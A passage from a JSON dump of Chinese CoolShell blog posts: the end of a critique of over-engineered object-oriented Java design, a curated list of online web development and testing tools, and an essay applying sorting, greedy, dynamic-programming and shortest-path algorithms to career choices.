args)\n\t{\n\t\tSystem.out.println(getTheString(System.getProperty(\"os.name\"))) ;\n\t}\n}\n```\n\n然后是一个幼稚的面向对象的思路。\n\n\n#### 幼稚的面向对象编程\n\n\n\n```\n\npublic class PrintOS\n{\n\tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n \t}\n}\n```\n\n \n\n\n\n```\n\npublic class OSDiscriminator // Factory Pattern\n{\n\tprivate static BoxSpecifier theBoxSpecifier = null ;\n  \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tif (theBoxSpecifier == null)\n\t\t{\n\t\t\tString osName = System.getProperty(\"os.name\") ;\n \t\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n \t\t\t{\n\t\t\t\ttheBoxSpecifier = new UNIXBox() ;\n\t\t\t}\n\t\t\telse if (osName.equals(\"Windows NT\") || osName.equals(\"Windows 95\"))\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new WindowsBox() ;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new DefaultBox () ;\n\t\t\t}\n\t\t}\n\t\treturn theBoxSpecifier ;\n\t}\n}\n```\n\n \n\n\n\n```\n\npublic interface BoxSpecifier\n{\n\tString getStatement() ;\n}\n```\n\n \n\n\n\n```\n\npublic class DefaultBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is not a box.\" ;\n  \t}\n}\n```\n\n \n\n\n\n```\n\npublic class UNIXBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n  \t}\n}\n```\n\n \n\n\n\n```\n\npublic class WindowsBox implements BoxSpecifier\n{\n  \tpublic String getStatement()\n\t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n\t}\n}\n```\n\n他们觉得上面这段代码没有消除if语句，他们说这叫代码的“logic bottleneck”（逻辑瓶颈），因为如果你要增加一个操作系统的判断的话，你不但要加个类，还要改那段if-else的语句。\n\n\n所以，他们整出一个叫Sophisticated的面向对象的解决方案。\n\n\n#### OO大师的方案\n\n\n注意其中的Design Pattern\n\n\n\n```\n\npublic class PrintOS\n{\n  \tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n  \t}\n}\n```\n\n\n```\n\npublic class OSDiscriminator // Factory Pattern\n{\n  \tprivate static java.util.HashMap storage = new java.util.HashMap() ;\n\n \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tBoxSpecifier value = (BoxSpecifier)storage.get(System.getProperty(\"os.name\")) ;\n\t\tif (value == null)\n\t\t\treturn DefaultBox.value ;\n\t\treturn value ;\n \t}\n  \tpublic static void register(final String key, final BoxSpecifier value)\n  \t{\n\t\tstorage.put(key, value) ; // Should guard against null keys, actually.\n  \t}\n  \tstatic\n  \t{\n\t\tWindowsBox.register() ;\n  \t\tUNIXBox.register() ;\n  \t\tMacBox.register() ;\n  \t}\n}\n```\n\n\n```\n\npublic interface BoxSpecifier\n{\n  \tString getStatement() ;\n}\n```\n\n\n```\n\npublic class DefaultBox implements BoxSpecifier // Singleton Pattern\n{\n\tpublic static final DefaultBox value = new DefaultBox () ;\n\tprivate DefaultBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is not a box.\" ;\n\t}\n}\n```\n\n\n```\n\npublic class UNIXBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final UNIXBox value = new UNIXBox() ;\n\tprivate UNIXBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"SunOS\", value) ;\n  \t\tOSDiscriminator.register(\"Linux\", value) ;\n \t}\n}\n```\n\n\n```\n\npublic class WindowsBox implements BoxSpecifier  // Singleton Pattern\n{\n\tpublic  static final WindowsBox value = new WindowsBox() ;\n\tprivate WindowsBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n  \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"Windows NT\", value) ;\n  \t\tOSDiscriminator.register(\"Windows 95\", value) ;\n\t}\n}\n```\n\n\n```\n\npublic class MacBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final MacBox value = new MacBox() ;\n\tprivate MacBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn \"This is a Macintosh box and therefore far superior.\" ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(\"Mac OS\", value) ;\n \t}\n}\n```\n\n作者还非常的意地说，他加了一个“Mac OS”的东西。**老实说，当我看到最后这段OO大师搞出来的代码，我快要吐了**。我瞬间想到了两件事：一个是以前酷壳上的《[面向对象是个骗局](https://coolshell.cn/articles/3036.html \"面向对象是个骗局？！\")》和 《[各种流行的编程方式](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")》中说的“设计模式驱动编程”，另一个我想到了那些被敏捷洗过脑的程序员和咨询师，也是这种德行。\n\n\n于是我去看了一下第一作者[Joseph Bergin的主页](http://csis.pace.edu/~bergin/)，这个Ph.D是果然刚刚完成了一本关于敏捷和模式的书。\n\n\n#### Rob Pike的评论\n\n\n（Rob Pike是当年在Bell lab里和Ken一起搞Unix的主儿，后来和Ken开发了UTF-8，现在还和Ken一起搞Go语言。注：不要以为Ken和Dennis是基友，其实他们才是真正的老基友！）\n\n\nRob Pike在他的[Google+的这贴](https://plus.google.com/101960720994009339267/posts/hoJdanihKwb)里评论到这篇文章——\n\n\n他并不确认这篇文章是不是搞笑？但是他觉得这些个写这篇文章是很认真的。他说他要评论这篇文章是因为他们是一名Hacker，至少这个词出现在这篇文章的术语中。\n\n\n他说，这个程序根本就不需要什么Object，只需要一张小小的配置表格，里面配置了对应的操作系统和你想输出的文本。这不就完了。这么简单的设计，非常容易地扩展，他们那个所谓的Hack Solution完全就是笨拙的代码。后面那些所谓的代码进化相当疯狂和愚蠢的，这个完全误导了对编程的认知。\n\n\n然后，他还说，**他觉得这些OO的狂热份子非常害怕数据，他们喜欢用多层的类的关系来完成一个本来只需要检索三行数据表的工作**。他说他曾经听说有人在他的工作种用各种OO的东西来替换While循环。（我听说中国Thoughtworks那帮搞敏捷的人的确喜欢用Object来替换所有的if-else语句，他们甚至还喜欢把函数的行数限制在10行以内）\n\n\n他还给了一个链接<http://prog21.dadgum.com/156.html>，你可以读一读。最后他说，**OOP的本质就是——对数据和与之关联的行为进行编程**。便就算是这样也不完全对，因为：\n\n\n**Sometimes data is just data and functions are just functions.**\n\n\n#### 我的理解\n\n\n我觉得，这篇文章的例子举得太差了，差得感觉就像是OO的高级黑。面向对象编程注重的是：**1）数据和其行为的打包封装，2）程序的接口和实现的解耦**。你那怕，举一个多个开关和多个电器的例子，不然就像STL中，一个排序算法对多个不同容器的例子，都比这个例子要好得多得多。老实说，Java SDK里太多这样的东西了。\n\n\n我以前给一些公司讲一些设计模式的培训课，我一再提到，**那23个经典的设计模式和OO半毛钱关系没有**，只不过人家用OO来实现罢了。**设计模式就三个准则：1）中意于组合而不是继承，2）依赖于接口而不是实现，3）高内聚，低耦合。你看，这完全就是Unix的设计准则**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/3036.html)[面向对象是个骗局？！](https://coolshell.cn/articles/3036.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\nThe post [如此理解面向对象编程](https://coolshell.cn/articles/8745.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-12-18 Web工程师的工具箱.md",
    "content": "---\nlayout: post\ntitle: Web工程师的工具箱\ndate: 2012/12/18/ 16:4:43\nupdated: 2012/12/18/ 16:4:43\nstatus: publish\npublished: true\ntype: post\n---\n\n![Web Toolbox](../wp-content/uploads/2012/12/webtoolbox.jpg)本文出自[Ivan Zuzak](http://ivanzuzak.info/) 的《[The Web engineer’s online toolbox](http://ivanzuzak.info/2012/11/18/the-web-engineers-online-toolbox.html)》，作者给了一个各种可以用来进行开发、测试、调试以及文档编排的在线工具集。（注：我发现CSDN上已经有了这篇文章《[Web工程师必备的18款工具](http://www.csdn.net/article/2012-11-19/2811992)》，但可惜的是这篇文章并不全（原文后来被更新到了33个工具），而且其中并没有包括原文评论中出现的所有工具，所以，我一并补全了更出来，一共40多个工具）\n\n\n#### **Web工程师在线工具箱**\n\n\n* [**RequestBin**](http://requestb.in/)**：**允许你创建一个URL，利用这款工具进行收集请求，然后通过个性化方式进行检查。\n\n\n* [**Hurl**](http://hurl.it/)**：**发出HTTP请求，输入URL，设置标题，查看响应，最后分享给其他人。类似的工具有：[REST test test](http://resttesttest.com/), [Apigee console](https://apigee.com/console/others).。\n\n\n* [**Httpbin**](http://httpbin.org/)**：**HTTP请求&响应服务，涵盖所有的HTTP方案（例如不同的HTTP verbs、状态代码和重定向）。类似工具：[UrlEcho](http://ivanzuzak.info/urlecho/)。\n\n\n* [**REDbot**](http://redbot.org/)**：**这是一个机器人工具，帮助用户检查HTTP资源，可查看它的操作情况，指出常见的问题并提出改进。类似工具：[HTTP lint](http://zamez.org/httplint)。\n\n\n* [**WebGun**](http://webgun.io/)**：**用于创建webhooks模板的API。类似工具：[UrlReq](https://github.com/izuzak/urlreq)。\n\n\n* **[Webscript](https://www.webscript.io/)** 自选一个url，填一段Lua代码，就能对访问做各种respond，还可以主动运行任务，cron job等等…\n\n\n\n* **[ClickHooks](http://www.clickhooks.com/)**这是一个短网址服务， 当用户访问了你的这个短网址跳转链接，服务器会通过HTTP POST的方式回调你的一个URL。这也是一种WebHooks方式。（陈皓注：所谓WebHooks，你可以理解为一种trigger，或是一种handler，比如当你你提交了代码，会调用某个URL链接以POST的方式告诉那个网站你提交了代码（如：发一个twitter 之类的，或是通知某个bug tracker系统））\n\n\n* **[MailHooks](http://mailhooks2.appspot.com/)**让你可以通过HTTP POST方法收电子邮件（又叫WebHooks），你可以为你的一个邮件地址创建N多的hooks，当一个邮件收到了，可以把这个邮件以POST的方式发到你的某个URL上去。\n\n\n* **[Quilla](http://a.quil.la/)**提供一个人们可以找到你的短网站服务，在那里，当人们提交到你的短网址上的请求会给你发邮件。好像是一种HTTP到SMTP的代理服务。\n\n\n* [**Apify**](http://apify.heroku.com/resources)**：**公开锁定在HTML文档没有任何API数据集。APIfy从结构标记中提取数据，并将其转换为JSON APIs。\n\n\n* [**Unicorn**](http://validator.w3.org/unicorn/)**：**W3C统一的验证程序，可在各种流行的HTML和CSS验证器中执行各种检查。类似工具：[HTML lint](http://lint.brihten.com/html/)。\n\n\n* **[JSONLint](http://jsonlint.com/)**JSON 格式验证程序\n\n\n* [**Feed validator**](http://validator.w3.org/feed/)**：**支持W3C验证，为RSS和ATOM提供阅读源。\n\n\n* [**Link checker**](http://validator.w3.org/checklink)**：**从网站中提取链接（递归）并确保没有链接被定义为两次（重复定义），所有的链接被引用并警告HTTP重新定向。\n\n\n* [**Host tracker**](http://www.host-tracker.com/)**：**通过分布式ping/跟踪检查、定期监测、邮件/SMS /IM通知和统计进行网站检测性服务。类似工具有：[Down for everyone or just me](http://www.downforeveryoneorjustme.com/), [Pimgdom ping service](http://tools.pingdom.com/ping/)\n\n\n* **[ViewDNS](http://www.viewdns.info/)**一组 DNS 和网络工具，如：反向IP解析，DNS记录查询或traceroute之类的。\n\n\n* **[Necrohost](http://www.necrohost.com/)**一个URL列表来模拟不同网络链接的问题，如：响应慢，无法解析DNS，或是404什么的。\n\n\n* **[Mirrorrr](https://code.google.com/p/mirrorrr/)** 一个可以用来镜像某网页的应用（经常被国人用来搞Web 代理来翻墙）。\n\n\n* **[SSL Checker](http://certlogik.com/ssl-checker/)** 测试SSL认证\n\n\n* **[CSR/Cert decoder](http://certlogik.com/decoder/)** 对你的CSR和SSL认证decode检查。\n\n\n* **[Loadzen](http://loadzen.com/)** Web压力测试工具（注：以前酷壳介绍过《[十个Web压力测试工具](https://coolshell.cn/articles/2589.html)》）\n\n\n* [**Pingdom Full page test**](http://tools.pingdom.com/fpt/)**：**允许用户测试网页记载时间、分析、监控，发现瓶颈并导出HAR格式的结果。类似工具：[Web page test](http://www.webpagetest.org/)。\n\n\n* **[Google PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights)**Analyzes the content of a web page, then generates suggestions to make that page faster.\n\n\n* [**HAR viewer**](http://www.softwareishard.com/har/viewer/)**：**通过 HTTP 追踪工具创建可视化的HTTP Archive (HAR)日志文件。\n\n\n* [**CORS proxy**](http://www.corsproxy.com/)**：**通常会由于相同的域而被阻止，而这款工具在网站上允许JavaScript代码访问其他域上的资源，\n\n\n* [**Browserling**](https://browserling.com/)**：**支持使用所有主要浏览器以及各种版本进行交互式跨浏览器测试。\n\n\n* [**WebSocket Echo Test**](http://www.websocket.org/echo.html)**:** 从浏览器定向到WebSocket echo服务器进行WebSocket连接测试。\n\n\n* [**YQL**](http://developer.yahoo.com/yql/)**：**极富表现力类似于SQL的语言，允许您查询、筛选和联接数据跨Web服务。\n\n\n* **[Webshell](http://webshell.io/)**使用命令行脚本的方式来调用一些Web API。\n\n\n* [**Yahoo Pipes**](http://pipes.yahoo.com/pipes/)**：**一个图形化的用户界面，用于创建数据混搭，生成聚合Web源，Web页面和其他服务。\n\n\n* [**Apiary**](http://apiary.io/)**：**语言和工具用于生成REST API文档及进行交互式督查。类似工具：[Swagger](http://swagger.wordnik.com/)。\n\n\n* **[JSFiddle](http://jsfiddle.net/)**一个在线的代码编辑可以让你编译一些HTML, CSS 和 JavaScript的东西，并演示之。相似工具: [JSBin](http://jsbin.com/)\n\n\n* [Google Feed API](https://developers.google.com/feed/v1/jsondevguide) 你可以使用这个API来查询有RSS Feed的网站 ([example](http://ajax.googleapis.com/ajax/services/feed/lookup?v=1.0&q=http://ivanzuzak.info/))，或是搜索有RSS Feed([example](https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&q=ivan%20zuzak)) ，或是把JSON变成一个JSON返回 ([example](https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&q=http://ivanzuzak.info/atom.xml))\n\n\n#### 未在列表的工具\n\n\n* [Fiddler](http://www.fiddler2.com/fiddler2/) — 可能是最强大最好用的Web调试工具之一，它能记录所有客户端和服务器的http和https请求，允许你监视，设置断点，甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说，都有很大的帮助。.\n\n\n* [960 grid system generator](http://grids.heroku.com/) 和 [CSS reset](http://meyerweb.com/eric/tools/css/reset/) — 两个关注于Web站点设计的工具。\n\n\n* [NuvolaBase](http://www.nuvolabase.com/site/index.html) — 一个可以共享个人私有数据的解决方案。正如作者所说，这不是一个开发工具。\n\n\n* [Open exchange rates](https://openexchangerates.org/) — 一个和汇率货币相关的JSON式的API。这样的API你可以到 [Programmable Web](http://www.programmableweb.com/) 上查找。\n\n\n* [Workflowy](https://workflowy.com/), [LastCalc](http://www.lastcalc.com/), [Codepad](http://codepad.org/), [Mailinator](http://www.mailinator.com/) and [10MinuteMail](http://10minutemail.com/), [One time secret](https://onetimesecret.com/) and [CopyPasteCharacter](http://copypastecharacter.com/) — 这些App似乎和Web开发没什么关系。\n\n\n* [Browsershots](https://browsershots.org/) — 一个用来测试网页在不同平台下的工具。（参看）\n\n\n* [Scriptular](http://scriptular.com/) and [Rubular](http://rubular.com/) — 正则表达式工具，这样的工具太多了，如： [ReFiddle](http://refiddle.com/), [Regex pal](http://regexpal.com/) and [Txt2Re](http://www.txt2re.com/)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![十个免费的Web压力测试工具](../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg)](https://coolshell.cn/articles/2589.html)[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\nThe post [Web工程师的工具箱](https://coolshell.cn/articles/8767.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-12-28 程序算法与人生选择.md",
    "content": "---\nlayout: post\ntitle: 程序算法与人生选择\ndate: 2012/12/28/ 1:0:50\nupdated: 2012/12/28/ 1:0:50\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2012/12/choice.jpg)每年一到要找工作的时候，我就能收到很多人给我发来的邮件，总是问我怎么选择他们的offer，去腾讯还是去豆瓣，去外企还是去国内的企业，去创业还是去考研，来北京还是回老家，该不该去创新工场？该不该去thoughtworks？……等等，等等。今年从7月份到现在，我收到并回复了60多封这样的邮件。我更多帮他们整理思路，帮他们明白自己最想要的是什么。（注：我以后不再回复类似的邮件了）。\n\n\n我深深地发现，对于我国这样从小被父母和老师安排各种事情长大的人，当有一天，父母和老师都跟不上的时候，我们几乎完全不知道怎么去做选择。而我最近也离开了亚马逊，换了一个工作。又正值年底，就像去年的那篇《[三个故事和三个问题](https://coolshell.cn/articles/6142.html \"三个事和三个问题\")》一样，让我想到写一篇这样的文章。\n\n\n#### 几个例子\n\n\n当我们在面对各种对选择的影响因子的时候，如：城市，公司规模，公司性质，薪水，项目，户口，技术，方向，眼界…… 你总会发现，你会在几个公司中纠结一些东西，举几个例子：\n\n\n* 某网友和我说，他们去上海腾讯，因为腾讯的规模很大，但却发现薪水待遇没有豆瓣高（低的还不是一点），如果以后要换工作的话，起薪点直接关系到了以后的高工资。我说那就去豆瓣吧，他说豆瓣在北京，污染那么严重，又没有户口，生存环境不好。我说去腾讯吧，他说腾讯最近组织调整，不稳定。我说那就去豆瓣吧，慢公司，发展很稳当。他说，豆瓣的盈利不清楚，而且用Python，自己不喜欢。我说，那就去腾讯吧，……\n\n\n* 还有一网友和我说，他想回老家，因为老家的人脉关系比较好，能混得好。但又想留在大城市，因为大城市可以开眼界。\n\n\n\n* 另一网友和我说，他想进外企，练练英语，开开眼界，但是又怕在外企里当个螺丝钉，想法得不到实施。朋友拉他去创业，觉得创业挺好的，锻炼大，但是朋友做的那个不知道能不能做好。\n\n\n* 还有一网友在创新工场的某团队和考研之间抉择，不知道去创新工场行不行，觉得那个项目一般，但是感觉那个团队挺有激情的，另一方面觉得自己的学历还不够，读个研应该能找到更好的工作。\n\n\n* 还有一些朋友问题我应该学什么技术？不应该学什么技术？或是怎么学会学得最快，技术的路径应该是什么？有的说只做后端不做前端，有的说，只做算法研究，不做工程，等等，等等。因为他们觉得人生有限，术业有专攻。\n\n\n* 等等，等等……\n\n\n我个人觉得，如果是非计算机科班出生的人不会做选择，不知道怎么走也罢了，但是我们计算机科班出生的人是学过算法的，**懂算法的人应该是知道怎么做选择的**。\n\n\n#### \n\n\n#### 排序算法\n\n\n你不可能要所有的东西，所以你只能要你最重要的东西，你要知道什么东西最重要，你就需要对你心内的那些欲望和抱负有清楚的认识，不然，你就会在纠结中度过。\n\n\n所以，在选择中纠结的人有必要参考一下排序算法。\n\n\n* 首先，你最需要参考的就是“冒泡排序”——这种算法的思路就是每次冒泡出一个最大的数。所以，你有必要问问你自己，面对那些影响你选择的因子，如果你只能要一个的话，你会要哪个？而剩下的都可以放弃。于是，当你把最大的数，一个一个冒泡出来的时候，并用这个决策因子来过滤选项的时候，你就能比较容易地知道知道你应该选什么了。**这个算法告诉我们，人的杂念越少，就越容易做出选择。**\n\n\n* 好吧，可能你已茫然到了怎么比较两个决策因子的大小，比如：你分不清楚，工资>业务前景吗？业务前景>能力提升吗？所以你完全没有办法进行冒泡法。那你，你不妨参考一个“快速排序”的思路——这个算法告诉我们，我们一开始并不需要找到最大的数，我们只需要把你价值观中的某个标准拿出来，然后，把可以满足这个价值的放到右边，不能的放到左边去。比如，你的标准是：工资大于5000元&&业务前景长于3年的公司，你可以用这个标准来过滤你的选项。然后，你可以再调整这个标准再继续递归下去。**这个算法告诉我们，我们的选择标准越清晰，我们就越容易做出选择**。\n\n\n这是排序算法中最经典的两个算法了，面试必考。相信你已烂熟于心中了。所以，我觉得你把这个算法应用于你的人生选择也应该不是什么问题。关于在于，你是否知道自己想要的是什么？\n\n\n排序算法的核心思想就是，**让你帮助你认清自己最需要的是什么，认清自己最想要的是什么，然后根据这个去做选择**。\n\n\n#### 贪婪算法\n\n\n所谓贪婪算法，是一种在每一步选择中都采取在当前状态下最好或最优（即最有利）的选择（注意：是当前状态下），从而希望导致结果是最好或最优的算法。贪婪算法最经典的一个例子就是[哈夫曼编码](https://coolshell.cn/articles/7459.html \"Huffman 编码压缩算法\")。\n\n\n对于人类来说，一般人在行为处事的时候都会使用到贪婪算法，\n\n\n* 比如在找零钱的时候，如果要找补36元，我们一般会按这样的顺序找钱：20元，10元，5元，1元。\n\n\n* 或者我们在过十字路口的时候，要从到对角线的那个街区时，我们也会使用贪婪算法——哪边的绿灯先亮了我们就先过到那边去，然后再转身90度等红灯再过街。\n\n\n这样的例子有很多。对于选择中，大多数人都会选用贪婪算法，因为这是一个比较简单的算法，未来太复杂了，只能走一步看一步，在当前的状况下做出最利于自己的判断和选择即可。\n\n\n有的人会贪婪薪水，有的人会贪婪做的项目，有的人会贪婪业务，有的人会贪婪职位，有的人会贪婪自己的兴趣……这些都没什么问题。贪婪算法并没有错，虽然不是全局最优解，但其可以让你找到局部最优解或是次优解。其实，有次优解也不错了。**贪婪算法基本上是一种急功近利的算法，但是并不代表这种算法不好，如果贪婪的是一种长远和持续，又未尝不可呢？**。\n\n\n#### 动态规划\n\n\n但是我们知道，对于大部分的问题，贪婪法通常都不能找出最优解，因为他们一般没有测试所有可能的解。**因为贪婪算法是一种短视的行为，只会跟据当前的形式做判断，也就是过早做决定**，因而没法达到最佳解。\n\n\n动态规划和贪婪算法的最大不同是，贪婪算法做出选择，不能在过程优化。动态规划则会保存以前的运算结果，并根据以前的结果对当前进行选择，会动态优化功能。\n\n\n动态规划算法至少告诉我们两个事：\n\n\n1）**承前启后非常重要，**当你准备去做遍历的时候，你的上次的经历不但能开启你以后的经历，而且还能为后面的经历所用。你的每一步都没有浪费。\n\n\n2）**是否可以回退也很重要**。这意思是——如果你面前有两个选择，一个是A公司一个是B公司，如果今天你选了A公司，并不是你完全放弃了B公司。而是，你知道从A公司退出来去B公司，会比从B公司退出来去A公司要容易一些。\n\n\n比如说：你有两个offer，一个是Yahoo，一个是Baidu，上述的第一点会让我们思考，我以前的特长和能力更符合Yahoo还是Baidu？而Yahoo和Baidu谁能给我开启更大的平台？上述的第二点告诉我们，是进入Yahoo后如果没有选好，是否还能再选择Baidu公司？还是进入Baidu公司后能容易回退到Yahoo公司？\n\n\n#### **Dijkstra**最短路径\n\n\n最短路径是一个Greedy + DP的算法。相当经典。这个算法的大意如下：\n\n\n1）在初始化的时候，所有的结点都和我是无穷大，默认是达不到的。\n\n\n2）从离自己最近的结点开始贪婪。\n\n\n3）走过去，看看又能到达什么样的结点，计算并更新到所有目标点的距离。\n\n\n4）再贪婪与原点最短的结点，如此反复。\n\n\n这个算法给我们带来了一些这样的启示：\n\n\n* 有朋友和我说过他想成为一个架构师，或是某技术领域的专家，并会踏踏实实的向这个目标前进，永不放弃。我还是鼓励了他，但我也告诉他了这个著名的算法，我说，这个算法告诉你，架构师或某领域的专家对你来说目前的距离是无穷大，他们放在心中，先看看你能够得着的东西。**所谓踏实，并不是踏踏实实追求你的目标，而是踏踏实实把你够得着看得见的就在身边的东西干好。**我还记得我刚参加工作，从老家出来的时候，从来没有想过要成为一个技术牛人，也从来没有想过我的博客会那么的有影响力，在做自己力所能及，看得见摸得着的事情，我就看见什么技术就学什么，学着学着就知道怎么学更轻松，怎么学更扎实，这也许就是我的最短路径。\n\n\n* 有很多朋友问我要不要学C++，或是问我学Python还是学Ruby，是不是不用学前端，等等。这些朋友告诉我，他们不可能学习多个语言，学了不用也就忘了，而且术业有专攻。这并没有什么不对的，只是我个人觉得，学习一个东西没有必要只有两种状态，一种是不学，另一种是精通。了解一个技术其实花不了多少时间，我学C++的目的其实是为了更懂Java，学TCP/IP协议其实是为了更懂Socket编程，很多东西都是连通和相辅相成的，学好了C/C++/Unix/TCP等这些基础技术后，我发现到达别的技术路径一下缩短了（这就是为什么[我用两天时间就可以了解Go语言的原因](https://coolshell.cn/articles/8489.html \"Go 语言简介（下）— 特性\")）。**这就好像这个算法一样，算法效率不高，也许达到你的目标，你在一开始花了很长时间，遍历了很多地方，但是，这也许这就是你的最短路径（**比起你达不到要好得多**）**。\n\n\n#### 算法就是Trade-Off\n\n\n你根本没有办法能得到所有你想得到的东西，**任何的选择都意味着放弃**——**当你要去获得一个东西的时候，你总是需要放弃一些东西**。**人生本来就是一个跷跷板，一头上，另一头必然下**。这和我们做软件设计或算法设计一样，用时间换空间，用空间换时间，还有CAP理论，总是有很多的Trade-Off，正如这个短语的原意一样——**你总是要用某种东西去交易某种东西**。\n\n\n我们都在用某种东西在交易我们的未来，有的人用自己的努力，有的人用自己的思考，有的人用自己的年轻，有的人用自己的自由，有的人用自己的价值观，有的人用自己的道德…… …… 有的人在交换金钱，有的人在交换眼界，有的人在交换经历，有的人在交换地位，有的人在交换能力，有的人在交换自由，有的人在交换兴趣，有的人在交换虚荣心，在交换安逸享乐…… ……\n\n\n**每个人有每个人的算法，每个算法都有每个算法的purpose，就算大家在用同样的算法，但是每个人算法中的那些变量、开关和条件都不一样，得到的结果也不一样。我们就是生活在Matrix里的一段程序，我们每个人的算法决定着我们每个人的选择，我们的选择决定了我们的人生**。\n\n\n**2012年就要过去了，祝大家新年快乐！**\n\n\n![插图来自电影 Life of Pi](../wp-content/uploads/2012/12/life_of_pi_.jpg)插图来自电影 Life of Pi\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![技术人员的发展之路](../wp-content/uploads/2016/12/people-150x150.jpg)](https://coolshell.cn/articles/17583.html)[技术人员的发展之路](https://coolshell.cn/articles/17583.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/3231.html)[你和你的工作](https://coolshell.cn/articles/3231.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\nThe post [程序算法与人生选择](https://coolshell.cn/articles/8790.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-2-2 Why C++ _ 王者归来.md",
